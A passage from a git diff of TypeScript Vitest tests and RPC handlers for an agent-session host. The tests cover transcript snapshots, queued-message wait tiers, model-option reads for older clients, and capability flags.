'Which regions?', + multiSelect: true, + options: [ + { id: 'east', label: 'East', description: 'Primary region' }, + { id: 'west', label: 'West' } + ] + }, + { + id: 'details', + question: 'Release detail?', + multiSelect: true, + options: [{ id: 'known', label: 'Known' }], + freeTextQuestionId: 'details' + } + ], + resolution: { + ...resolution('resolved'), + answers: [ + { questionId: 'regions', optionIds: ['east', 'west'] }, + { questionId: 'details', optionIds: ['known', 'missing'], other: 'partial text' } + ] + } + }) + for (const choice of ['yes', 'no']) { + await append({ + kind: 'approval', + title: `Confirm ${choice}`, + detail: 'Deploy?', + options: [ + { id: 'yes', label: 'Yes' }, + { id: 'no', label: 'No' } + ], + resolution: resolution('resolved', choice) + }) + } + await append({ + kind: 'approval', + title: 'Review plan', + description: 'Saved description', + decisionReason: 'Saved reason', + matchedAskRule: { source: 'workspace', toolName: 'Write', ruleContent: 'Saved ask rule' }, + blockedPath: '/work/target', + detail: 'Clipped detail', + subject: { kind: 'plan', text: 'RETAINED_PLAN_MARKER', filePath: '/work/plan.md' }, + options: [ + { id: 'plan', label: 'Approve plan' }, + { id: 'keep', label: 'Keep planning' } + ], + resolution: resolution('resolved', 'keep') + }) + const editor = piRpcDialogPresentation({ + id: 'editor', + method: 'editor', + title: 'Edit release notes', + prefill: 'RETAINED_EDITOR_MARKER\nHold deployment', + placeholder: 'Keep migration details' + }) + if (editor?.body.kind !== 'question') { + throw new Error('Pi editor missing') + } + const editorOrdinal = ordinal++ + await append(editor.body, editorOrdinal) + const editorParams = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: journal.cursor().epoch, sequence: 0 } + } + const pendingEditor = await rig.host.continuationContext(editorParams) + if (pendingEditor.status !== 'current' || !pendingEditor.transcriptPath) { + throw new Error('Pending editor snapshot missing') + } + for (const text of [ + await readFile(pendingEditor.transcriptPath, 'utf8'), + pendingEditor.capturedText ?? '' + ]) { + expect(text).toContain( + 'Prompt state: pending\nSaved prompt: {"kind":"question","question":"Edit release notes"' + ) + expect(text).toContain('"initialValue":"RETAINED_EDITOR_MARKER\\nHold deployment"') + expect(text).toContain('"placeholder":"Keep migration details"') + } + const answers = [{ questionId: 'editor', optionIds: [], other: 'REPLACEMENT_EDITOR_ANSWER' }] + const selectedOptionId = legacyAgentSessionSelectedOptionId(editor.body, answers) + await append( + { ...editor.body, resolution: { ...resolution('resolved', selectedOptionId), answers } }, + editorOrdinal + ) + await rig.restart() + setStructuredAgentSessionHost(rig.host) + const snapshot = await rig.host.journalSnapshot(SESSION) + journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await append({ ...question('pending ask'), resolution: resolution('pending') }) + const params = { + sessionId: SESSION, + workspaceId: 'workspace-1', + expectedCursor: { epoch: snapshot.cursor.epoch, sequence: 0 } + } + await call('agentSession.options', { sessionId: SESSION }) + const gate = Promise.withResolvers() + const write = actualFiles.writeFile + const writing = vi.spyOn(fileOperations, 'writeFile').mockImplementationOnce(async (...args) => { + await gate.promise + return write(...args) + }) + const pending = rig.host.continuationContext(params) + await vi.waitFor(() => expect(writing).toHaveBeenCalledOnce()) + const currentJournal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + await currentJournal.appendItem( + { provider: 'orca', clientMessageId: 'pr-31782-late' }, + hostTestMessage('LATER_SAVED_MARKER'), + { + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + gate.resolve() + const first = await pending + if (first.status !== 'current' || !first.transcriptPath) { + throw new Error('Snapshot missing') + } + const path = first.transcriptPath + try { + const file = await readFile(path, 'utf8') + expect(file).toContain('EARLY_SAVED_MARKER') + expect(file).not.toMatch(/PRE_CLEAR_SECRET|DISCARDED_REWIND_SECRET|LATER_SAVED_MARKER/) + expect(first.capturedText?.length).toBeLessThanOrEqual(36_000) + expect(first.capturedText).toContain('Earlier saved chat messages omitted') + expect(first.capturedText).not.toContain('EARLY_SAVED_MARKER') + for (const text of [file, first.capturedText ?? '']) { + const prompts: unknown[] = [...text.matchAll(/^Saved prompt: (.+)$/gm)].map((match) => + JSON.parse(match[1]!) + ) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + expect(prompts).toContainEqual(expect.objectContaining(question(name, value))) + } + expect(text).toMatch( + /"question":"unreadable"[^\n]*\nQuestion "input"\nSubmitted answer: unavailable/ + ) + expect(text).toMatch(/Prompt state: pending\nSaved prompt: .*"question":"pending ask"/) + expect(text).toMatch(/Prompt state: cancelled\nSaved prompt: .*"question":"cancelled ask"/) + const legacy = text.split('\n\n').find((row) => row.includes('"question":"legacy answer"'))! + expect(legacy).toContain('"selectedOptionId":"input:legacy%20deployment"') + expect(legacy.split('Legacy free text: "legacy deployment"')).toHaveLength(2) + expect(text).toContain( + 'Question "regions" (Region group)\nSelected choice: East\nSelected choice: West' + ) + expect(text).toContain('"question":"Which regions?"') + expect(text).toContain('"label":"East","description":"Primary region"') + expect(text).toContain( + 'Question "details"\nSelected choice: Known\nSelected choice: unavailable\nSubmitted free text: resolution.answers[1].other' + ) + expect(text).toContain('"other":"partial text"') + expect(text).toMatch(/Confirm yes[\s\S]*Selected choice: Yes/) + expect(text).toMatch(/Confirm no[\s\S]*Selected choice: No/) + expect(text).toContain( + '"subject":{"kind":"plan","text":"RETAINED_PLAN_MARKER","filePath":"/work/plan.md"}' + ) + expect(text).toContain( + '"matchedAskRule":{"source":"workspace","toolName":"Write","ruleContent":"Saved ask rule"}' + ) + expect(text).toContain('Selected choice: Keep planning') + const row = text + .split('\n\n') + .find((entry) => entry.includes('"question":"Edit release notes"'))! + expect(row).toContain('Prompt state: resolved') + expect(row).toContain(JSON.stringify(editor.body.freeTextInput)) + expect(row).toContain(JSON.stringify(answers)) + expect(row).toContain(`"selectedOptionId":${JSON.stringify(selectedOptionId)}`) + expect(row.split('\n').slice(2).join('\n')).toBe( + 'Question "editor"\nSubmitted free text: resolution.answers[0].other' + ) + } + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { + ok: true, + result: { + status: 'current', + transcriptPath: path, + capturedText: expect.stringContaining('LATER_SAVED_MARKER') + } + } + ]) + expect(await readFile(path, 'utf8')).toContain('LATER_SAVED_MARKER') + expect(await rig.host.continuationContext({ ...params, workspaceId: 'other' })).toEqual({ + status: 'superseded' + }) + expect( + await rig.host.continuationContext({ + ...params, + expectedCursor: { epoch: 'other', sequence: 0 } + }) + ).toEqual({ status: 'superseded' }) + expect(rig.adapter.acquire).not.toHaveBeenCalled() + writing.mockRejectedValueOnce(new Error('disk unavailable')) + expect(await call('agentSession.continuationContext', params)).toMatchObject([{ ok: false }]) + } finally { + await rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { + recursive: true, + force: true + }) + } +}) + +it('hands off a readable saved conversation without granting its invalid execution lease authority', async () => { + await restingChat() + const { cursor } = await rig.host.journalSnapshot(SESSION) + await rig.host.flushAllStreamedEvents() + await editPersistedTestAgentSessionStore(rig.root, (persisted) => { + Object.assign(persisted.records[SESSION].lease, { minimumNextFence: 'bad' }) + }) + await rig.restart() + setStructuredAgentSessionHost(rig.host) + expect(rig.store.getRecord(SESSION)).toBeNull() + expect(rig.store.getConversation(SESSION)?.location.workspaceId).toBe('workspace-1') + const saved = (await readPersistedTestAgentSessionStore(rig.root)).records[SESSION] + const params = { sessionId: SESSION, workspaceId: 'workspace-1', expectedCursor: cursor } + const result = await rig.host.continuationContext(params) + expect(result).toMatchObject({ + status: 'current', + capturedText: expect.stringContaining('hello') + }) + if (result.status !== 'current' || !result.transcriptPath) { + throw new Error('Saved conversation snapshot missing') + } + expect(await readFile(result.transcriptPath, 'utf8')).toContain('hello') + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { ok: true, result } + ]) + for (const stale of [ + { ...params, workspaceId: 'other' }, + { ...params, expectedCursor: { ...cursor, epoch: 'other' } }, + { ...params, expectedCursor: { ...cursor, sequence: cursor.sequence + 1 } } + ]) { + expect(await rig.host.continuationContext(stale)).toEqual({ status: 'superseded' }) + } + expect(rig.store.getRecord(SESSION)).toBeNull() + expect((await readPersistedTestAgentSessionStore(rig.root)).records[SESSION]).toEqual(saved) + expect(rig.adapter.acquire).not.toHaveBeenCalled() + expect(rig.adapter.dispatch).not.toHaveBeenCalled() +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-legacy-command-wait.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-legacy-command-wait.test.ts new file mode 100644 index 00000000000..4cee22e028b --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-legacy-command-wait.test.ts @@ -0,0 +1,117 @@ +import { afterEach, expect, it, vi } from 'vitest' +import { + createQueuedMessageTestRig, + eventually, + QUEUED_RIG_CALLER +} from '../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { + HOST_TEST_NOW, + HOST_TEST_SESSION as SESSION, + hostTestOperationId, + hostTestMessage +} from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { sendStructuredAgentSessionForClient } from './structured-agent-session-send-compatibility' +import { + AGENT_SESSION_ACCEPTED_SEND_RUNTIME_CAPABILITY, + AGENT_SESSION_PENDING_SEND_RESULT_RUNTIME_CAPABILITY, + STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY +} from '../../../../shared/protocol-version' +import type { RpcContext } from '../core' +import { agentSessionMessagePayload } from '../../../../shared/structured-agent-session-send-mutation' + +afterEach(() => { + setStructuredAgentSessionHost(null) + vi.restoreAllMocks() + vi.useRealTimers() +}) + +it.each(['accepted', 'pending', 'oldest'] as const)( + 'real %s reader wait tier behind an active command uses its actual budget and eventual wake', + async (tier) => { + vi.useFakeTimers() + vi.setSystemTime(HOST_TEST_NOW) + vi.spyOn(Date, 'now').mockReturnValue(HOST_TEST_NOW) + const rig = await createQueuedMessageTestRig({ now: () => Date.now() }) + setStructuredAgentSessionHost(rig.host) + try { + const working = await rig.workingSend() + await rig.settleAccepted(working, 'warmup') + const commandId = hostTestOperationId() + const commandFields = { command: 'compact' as const } + const command = rig.host.conversationCommand(QUEUED_RIG_CALLER, { + ...commandFields, + envelope: rig.envelope(commandFields, 'agentSession.conversationCommand', commandId), + userSend: true + }) + await eventually(() => expect(rig.compact).toHaveBeenCalledTimes(1)) + await command + const body = hostTestMessage('M behind compact') + const messageId = hostTestOperationId() + let replied = false + const wait = vi.spyOn(rig.host, 'waitForSendSettlement') + const reply = sendStructuredAgentSessionForClient( + { + body, + envelope: rig.envelope( + { body: agentSessionMessagePayload(body) }, + 'agentSession.send', + messageId + ) + }, + { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the installed-host registry path never reads runtime methods. + runtime: {} as RpcContext['runtime'], + clientId: QUEUED_RIG_CALLER.callerKey, + clientKind: 'runtime', + clientCapabilities: [ + STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, + ...(tier === 'accepted' ? [AGENT_SESSION_ACCEPTED_SEND_RUNTIME_CAPABILITY] : []), + ...(tier === 'pending' ? [AGENT_SESSION_PENDING_SEND_RESULT_RUNTIME_CAPABILITY] : []) + ] + } + ).then((result) => { + replied = true + return result + }) + await eventually(async () => + expect(await rig.submission(messageId)).toMatchObject({ dispatchState: 'pending' }) + ) + if (tier !== 'accepted') { + expect(wait).toHaveBeenCalledWith(SESSION, messageId, { + until: tier === 'oldest' ? 'answered' : 'handed-over-or-behind-command', + budgetMs: 120_000 + }) + } + if (tier !== 'oldest') { + expect(await reply).toMatchObject({ + ok: true, + value: { submission: { dispatchState: 'pending' } } + }) + } + await vi.advanceTimersByTimeAsync(15_001) + expect(replied).toBe(tier !== 'oldest') + if (tier === 'oldest') { + await vi.advanceTimersByTimeAsync(100_000) + expect(replied).toBe(false) + await vi.advanceTimersByTimeAsync(5_000) + expect(await reply).toMatchObject({ + ok: true, + value: { submission: { dispatchState: 'pending' } } + }) + } + expect((await rig.submission(messageId))?.handedOverAt).toBeUndefined() + rig.finishCompact() + await eventually(async () => + expect((await rig.submission(messageId))?.handedOverAt).toBeDefined() + ) + await rig.settleAccepted(messageId, `M-${tier}`) + expect((await rig.submission(messageId))?.dispatchState).toBe('accepted') + expect( + rig.dispatch.mock.calls.filter(([input]) => input.clientMessageId === messageId) + ).toHaveLength(1) + } finally { + await rig.dispose() + } + } +) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-options-perf.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-options-perf.test.ts new file mode 100644 index 00000000000..487411d56a9 --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-options-perf.test.ts @@ -0,0 +1,141 @@ +import { hostTestCatalogReadOperation } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { performance } from 'node:perf_hooks' +import { afterEach, expect, it, vi } from 'vitest' +import { agentSessionConversationView } from '../../../../shared/agent-session-conversation-view' +import { agentSessionRecordFixture } from '../../../../shared/agent-session-record.test-fixture' +import type { AgentSessionModelOption } from '../../../../shared/agent-session-wire' +import { AGENT_SESSION_OPTIONAL_MODEL_CLIENT_CAPABILITY } from '../../../../shared/agent-session-optional-model-capability' +import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' +import { readStructuredAgentSessionOptions } from '../../../native-chat/agent-session-wire/structured-agent-session-options-read' +import { claudeAndCodexAgents } from '../../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' +import type { StructuredAgentSessionMutationContext } from '../../../native-chat/agent-session-wire/structured-agent-session-host-mutations' +import type { RpcContext } from '../core' +import { requireInstalledStructuredHost } from './structured-agent-session-gate' +import { STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS } from './structured-agent-session-options-read' + +vi.mock('./structured-agent-session-gate', () => ({ + requireInstalledStructuredHost: vi.fn(), + requireStructuredAgentAudience: vi.fn(), + requireStructuredHost: vi.fn() +})) +afterEach(() => vi.restoreAllMocks()) + +it.each([100, 1_000])( + 'projects %i unknown fallback models once per options read', + async (models) => { + let copies = 0 + const rows: AgentSessionModelOption[] = Array.from({ length: models }, (_, index) => ({ + id: `model-${index}`, + get label() { + copies += 1 + return `Model ${index}` + }, + isDefault: index === 0, + efforts: [] + })) + const agents = claudeAndCodexAgents() + const definition = agents.definition('claude')! + const fallbackModels = vi.fn(() => rows) + vi.spyOn(agents, 'definition').mockReturnValue({ + ...definition, + restingOptions: { ...definition.restingOptions!, fallbackModels } + }) + const record = { ...agentSessionRecordFixture(), providerHandleChain: [] } + const conversation = { + child: null, + params: { provider: 'claude' }, + journal: { + threadGoal: () => null, + submissions: () => [], + visitItems: () => {}, + wroteBeforeOpen: () => false, + contextUsage: () => null, + context: { floor: () => null } + } + } + const catalogRead = vi.fn(async () => ({ origin: 'unknown' as const })) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the resting read uses only these supplied context and journal members; no provider can start. + const context = { + deps: { + agents, + adapter: {}, + store: { + getRecord: () => record, + getConversation: () => agentSessionConversationView(record) + }, + modelCatalog: { read: catalogRead, captureRead: hostTestCatalogReadOperation } + }, + serialize: (_session: string, task: () => Promise) => task(), + openConversation: async () => conversation, + conversation: async () => conversation + } as unknown as StructuredAgentSessionMutationContext + const started = performance.now() + const answer = await readStructuredAgentSessionOptions(context, record.sessionId, { + readsWithoutModel: true + }) + const elapsedMs = performance.now() - started + expect(copies).toBe(models) // Getter observes actual spread copies in the production fallback map. + expect(fallbackModels).toHaveBeenCalledTimes(1) + expect(catalogRead).toHaveBeenCalledTimes(2) // Scoped inventory and proof; atRest is reused. + expect(answer.models).toHaveLength(models) + expect(answer.models.every((row) => !row.isDefault)).toBe(true) + expect(answer.current.model).toBeUndefined() + expect(rows[0].isDefault).toBe(true) + console.info('unknown-options-perf', { + models, + copies, + catalogReads: catalogRead.mock.calls.length, + elapsedMs + }) + } +) + +it.each([100, 1_000])( + 'filters %i rows only for a model-less incapable RPC reader', + async (models) => { + let visits = 0 + const rows: AgentSessionModelOption[] = Array.from({ length: models }, (_, index) => ({ + get id() { + visits += 1 + return `model-${index}` + }, + label: `Model ${index}`, + isDefault: false, + efforts: [] + })) + const readOptions = vi.fn(async () => ({ + models: rows, + current: {}, + rewind: { supported: false as const, reason: 'unsupported' as const } + })) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the real RPC handler calls only readOptions on the already-installed host returned by this gate double. + vi.mocked(requireInstalledStructuredHost).mockResolvedValue({ + readOptions + } as unknown as Awaited>) + const method = STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS.find( + (entry) => entry.name === 'agentSession.options' + )! + for (const capable of [false, true]) { + visits = 0 + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this handler reads only client kind/capabilities; host installation is the seam above. + const context = { + clientKind: 'mobile', + clientCapabilities: [ + STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, + ...(capable ? [AGENT_SESSION_OPTIONAL_MODEL_CLIENT_CAPABILITY] : []) + ] + } as unknown as RpcContext + const started = performance.now() + const answer = await method.handler({ sessionId: 'perf-session' }, context) + const elapsedMs = performance.now() - started + expect(visits).toBe(capable ? 0 : models) + expect(answer.models).toHaveLength(models + (capable ? 0 : 1)) + expect(answer.current.model).toBe(capable ? undefined : '') + if (capable) { + expect(answer.models).toBe(rows) + } + console.info('legacy-options-perf', { models, capable, visits, elapsedMs }) + } + expect(readOptions).toHaveBeenCalledTimes(2) + } +) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-options-read.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-options-read.test.ts index 5854486f9de..5753976ed94 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-options-read.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-options-read.test.ts @@ -34,6 +34,19 @@ afterEach(() => { clearStructuredHostStub() }) +// These are RPC forwarding fixtures; receiving authority is exercised through the real host separately. +function catalogHost() { + const host = hostStub() + host.readModelCatalog = async (params) => { + const catalog = host.deps.modelCatalog + if (!params.savedOnly) { + void catalog?.demand(params) + } + return catalog ? catalog.read(params) : { origin: 'unknown' } + } + return host +} + describe('agentSession.modelCatalog', () => { const read = vi.fn(async () => ({ origin: 'unknown' as const })) let record: AgentSessionRecord | null = null @@ -42,7 +55,7 @@ describe('agentSession.modelCatalog', () => { read.mockClear() record = null setStructuredAgentSessionHost( - Object.assign(hostStub(), { + Object.assign(catalogHost(), { deps: { modelCatalog: { read, demand: vi.fn(async () => {}) }, store: { @@ -103,7 +116,7 @@ describe('agentSession.modelCatalog', () => { } }) setStructuredAgentSessionHost( - Object.assign(hostStub(), { + Object.assign(catalogHost(), { deps: { modelCatalog: catalog, store: { @@ -246,7 +259,7 @@ describe('agentSession.modelCatalog', () => { probes: { claude: Object.assign(run, { resolve }) } }) setStructuredAgentSessionHost( - Object.assign(hostStub(), { + Object.assign(catalogHost(), { sessionAgent: () => 'claude', deps: { modelCatalog: catalog, @@ -296,7 +309,7 @@ describe('agentSession.modelCatalog before anything built the host', () => { })) const installHost = vi.fn(async () => { setStructuredAgentSessionHost( - Object.assign(hostStub(), { + Object.assign(catalogHost(), { deps: { modelCatalog: { read, demand: vi.fn(async () => {}) }, store: { getRecord: () => null, getConversation: () => null }, @@ -362,7 +375,7 @@ describe('agentSession.modelCatalog for a chat on a model its CLI stopped listin beforeEach(() => { setStructuredAgentSessionHost( - Object.assign(hostStub(), { + Object.assign(catalogHost(), { deps: { modelCatalog: { read, demand: vi.fn(async () => {}) }, store: { diff --git a/src/main/runtime/rpc/methods/structured-agent-session-options-read.ts b/src/main/runtime/rpc/methods/structured-agent-session-options-read.ts index 6f9717c0df4..c4c8a0a5b68 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-options-read.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-options-read.ts @@ -15,7 +15,6 @@ import { OptionsParams } from './structured-agent-session-schemas' import { agentSessionPinnedLaunchDirectory } from '../../agent-session-record-launch-directory' -import { agentSessionRefusalError } from '../../../../shared/agent-session-wire-refusals' import { clientRequestsCommands, clientReadsOptionsWithoutModel @@ -59,9 +58,14 @@ export const STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS = [ await requireInstalledStructuredHost(ctx, params.sessionId) ).readOptions(params.sessionId, { readsWithoutModel }) if (result.current.model === undefined && !readsWithoutModel) { - throw agentSessionRefusalError('structured_agent_session_unsupported', { - reason: 'clientCapabilityMissing' - }) + return { + ...result, + current: { ...result.current, model: '' }, + models: [ + { id: '', label: 'Model not reported', isDefault: false, efforts: [] }, + ...result.models.filter((model) => model.id !== '') + ] + } } return result } @@ -106,6 +110,9 @@ export const STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS = [ } }) } + if (params.sessionId !== undefined) { + return host.readModelCatalog(request) + } if (!params.savedOnly) { void catalog.demand(request) } diff --git a/src/main/runtime/rpc/methods/structured-agent-session-options-workspace-scope.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-options-workspace-scope.test.ts index b29008336a7..7f8dc5d9471 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-options-workspace-scope.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-options-workspace-scope.test.ts @@ -62,6 +62,7 @@ async function readOptions(client: typeof OLDER_CLIENT | typeof CURRENT_CLIENT) * that sets the effort. */ async function chatAtRest(repoConfig: { configured: boolean + unreadableAccount?: boolean complete?: boolean }): Promise> { await foundRestTestChat(rig) @@ -124,7 +125,14 @@ async function chatAtRest(repoConfig: { agentReadsProjectModelConfig, workspaceMayOverrideDefaultModel }) - await rig.restart({ modelCatalog }) + await rig.restart({ + modelCatalog, + launchAccountHome: repoConfig.unreadableAccount + ? () => { + throw new Error('account unreadable') + } + : undefined + }) if (repoConfig.complete) { await modelCatalog.read({ agent: 'codex', @@ -178,6 +186,33 @@ describe('options at rest in a repo whose config may pick the model', () => { }) describe('options at rest in a repo with no config of its own', () => { + it('keeps saved aliases and effort on unknown identity, including for older clients', async () => { + await chatAtRest({ configured: false, unreadableAccount: true }) + const current = await readOptions(CURRENT_CLIENT) + expect(current).toMatchObject({ ok: true, result: { current: {} } }) + expect(current).not.toHaveProperty('result.current.model') + expect(await readOptions(OLDER_CLIENT)).toMatchObject({ + ok: true, + result: { + current: { model: '' }, + models: [{ id: '', label: 'Model not reported', isDefault: false, efforts: [] }], + conversationCommands: ['clear'] + } + }) + const options = { model: 'opus[1m]', effort: 'max' } + await rig.store.replaceSessionOptions({ + sessionId: SESSION, + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + options, + now: rig.clock.now + }) + for (const client of [CURRENT_CLIENT, OLDER_CLIENT]) { + expect(await readOptions(client)).toMatchObject({ ok: true, result: { current: options } }) + } + expect(rig.store.getRecord(SESSION)?.options).toEqual(options) + expect(rig.adapter.acquire).not.toHaveBeenCalled() + }) + it('names the default model and its effort for a client that needs a model', async () => { const catalog = await chatAtRest({ configured: false }) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-precommit-refusal.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-precommit-refusal.test.ts index 600bcaa5605..4c163f86b61 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-precommit-refusal.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-precommit-refusal.test.ts @@ -179,16 +179,6 @@ describe('a create refused before it commits', () => { expect(refusal?.message).toContain('could not open the session store') }) - it('answers a missing host as a definitive envelope rather than a thrown code', async () => { - setStructuredAgentSessionHost(null) - - const response = await create() - - const refusal = refusalOf(response) - expect(refusal?.code).toBe('structured_agent_session_unsupported') - expect(isDefinitiveAgentSessionCreateRefusal(refusal?.code)).toBe(true) - }) - it('still refuses a fingerprint conflict with its own code, not a pre-commit one', async () => { const response = await create( {}, diff --git a/src/main/runtime/rpc/methods/structured-agent-session-prompt-response.ts b/src/main/runtime/rpc/methods/structured-agent-session-prompt-response.ts index 8b26d3c7520..75036076054 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-prompt-response.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-prompt-response.ts @@ -1,4 +1,5 @@ import { defineMethod } from '../core' +import { clientReadsOptionsWithoutModel } from './structured-agent-session-policy' import { requireStructuredSessionHost as requireSessionHost, structuredCallerFor as callerFor @@ -35,6 +36,9 @@ export const STRUCTURED_AGENT_SESSION_PROMPT_RESPONSE_METHODS = [ permission: 'workspace', params: SetOptionParams, handler: async (params, ctx) => - requireSessionHost(ctx, params.envelope.sessionId).setOption(callerFor(ctx), params) + requireSessionHost(ctx, params.envelope.sessionId).setOption( + { ...callerFor(ctx), readsOptionsWithoutModel: clientReadsOptionsWithoutModel(ctx) }, + params + ) }) ] diff --git a/src/main/runtime/rpc/methods/structured-agent-session-queued-edit.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-queued-edit.test.ts index b3ee7ecc3bf..23401ec6bde 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-queued-edit.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-queued-edit.test.ts @@ -43,9 +43,10 @@ beforeEach(() => { afterEach(clearStructuredHostStub) describe('queued edit methods', () => { - it('the host advertises editing on its own, with mid-turn queueing still dark', () => { + it('the host advertises editing and mid-turn queueing, never the v1 name released clients read', () => { expect(RUNTIME_CAPABILITIES).toContain(AGENT_SESSION_QUEUED_MESSAGE_EDIT_RUNTIME_CAPABILITY) - expect(RUNTIME_CAPABILITIES).not.toContain(AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY) + expect(RUNTIME_CAPABILITIES).toContain(AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY) + expect(RUNTIME_CAPABILITIES).not.toContain('agent-session.queued-messages.v1') }) it.each([ diff --git a/src/main/runtime/rpc/methods/structured-agent-session-queued-methods.ts b/src/main/runtime/rpc/methods/structured-agent-session-queued-methods.ts index 94d4897f930..06bb8dcb469 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-queued-methods.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-queued-methods.ts @@ -1,4 +1,4 @@ -// Do not gate queued-card actions on queued-messages.v1: hosts without it still publish unsent cards. Older pre-queue/edit hosts lack the methods. +// Do not gate queued-card actions on queued-messages.v2: hosts without it still publish unsent cards. Older pre-queue/edit hosts lack the methods. import { defineMethod } from '../core' import { diff --git a/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts b/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts new file mode 100644 index 00000000000..00e629836c6 --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-rest-contract-test-fixture.ts @@ -0,0 +1,103 @@ +import { afterEach, beforeEach, vi } from 'vitest' +import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + createRestTestRig, + foundRestTestChat, + REST_TEST_SESSION as SESSION, + type RestTestRig +} from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { OrcaRuntimeService } from '../../orca-runtime' +import type { RpcResponse } from '../core' +import { RpcDispatcher } from '../dispatcher' +import type { RpcDispatchStreamingOptions } from '../dispatcher-stream-options' +import { STRUCTURED_AGENT_SESSION_METHODS } from './structured-agent-session' +import type * as fileOperations from 'node:fs/promises' +import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' + +vi.mock('node:fs/promises', { spy: true }) +export const actualFiles = await vi.importActual('node:fs/promises') + +export const CLIENT = { + clientId: 'device-1', + clientKind: 'runtime' as const, + clientCapabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY], + connectionId: 'connection-1' +} + +let rig: RestTestRig + +let dispatcher: RpcDispatcher + +let requests = 0 + +export async function call( + method: string, + params: unknown, + client: RpcDispatchStreamingOptions = CLIENT +): Promise { + const replies: RpcResponse[] = [] + requests += 1 + await dispatcher.dispatchStreaming( + { id: `request-${requests}`, authToken: 'token', method, params }, + (raw) => replies.push(JSON.parse(raw) as RpcResponse), + client + ) + return replies +} + +/** A chat that once ran, reopened by a fresh host: nothing of it is in memory. */ + +export async function restingChat(): Promise { + await foundRestTestChat(rig) + await rig.store.replaceSessionOptions({ + sessionId: SESSION, + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + options: { model: 'gpt-saved', effort: 'high' }, + now: rig.clock.now + }) + await rig.restart() + setStructuredAgentSessionHost(rig.host) + rig.adapter.acquire.mockClear() + rig.adapter.dispatch.mockClear() + rig.adapter.readOptions.mockClear() +} + +beforeEach(async () => { + requests = 0 + rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) + setStructuredAgentSessionHost(rig.host) + const runtime = new OrcaRuntimeService() + dispatcher = new RpcDispatcher({ runtime, methods: STRUCTURED_AGENT_SESSION_METHODS }) +}) + +afterEach(async () => { + vi.restoreAllMocks() + setStructuredAgentSessionHost(null) + await rig.dispose() + await actualFiles.rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { + recursive: true, + force: true + }) +}) + +export const fixture = { + get dispatcher() { + return dispatcher + }, + set dispatcher(value: typeof dispatcher) { + dispatcher = value + }, + get requests() { + return requests + }, + set requests(value: typeof requests) { + requests = value + }, + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/runtime/rpc/methods/structured-agent-session-wire-contracts.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-wire-contracts.test.ts index c4f4fbefe10..db696da5993 100644 --- 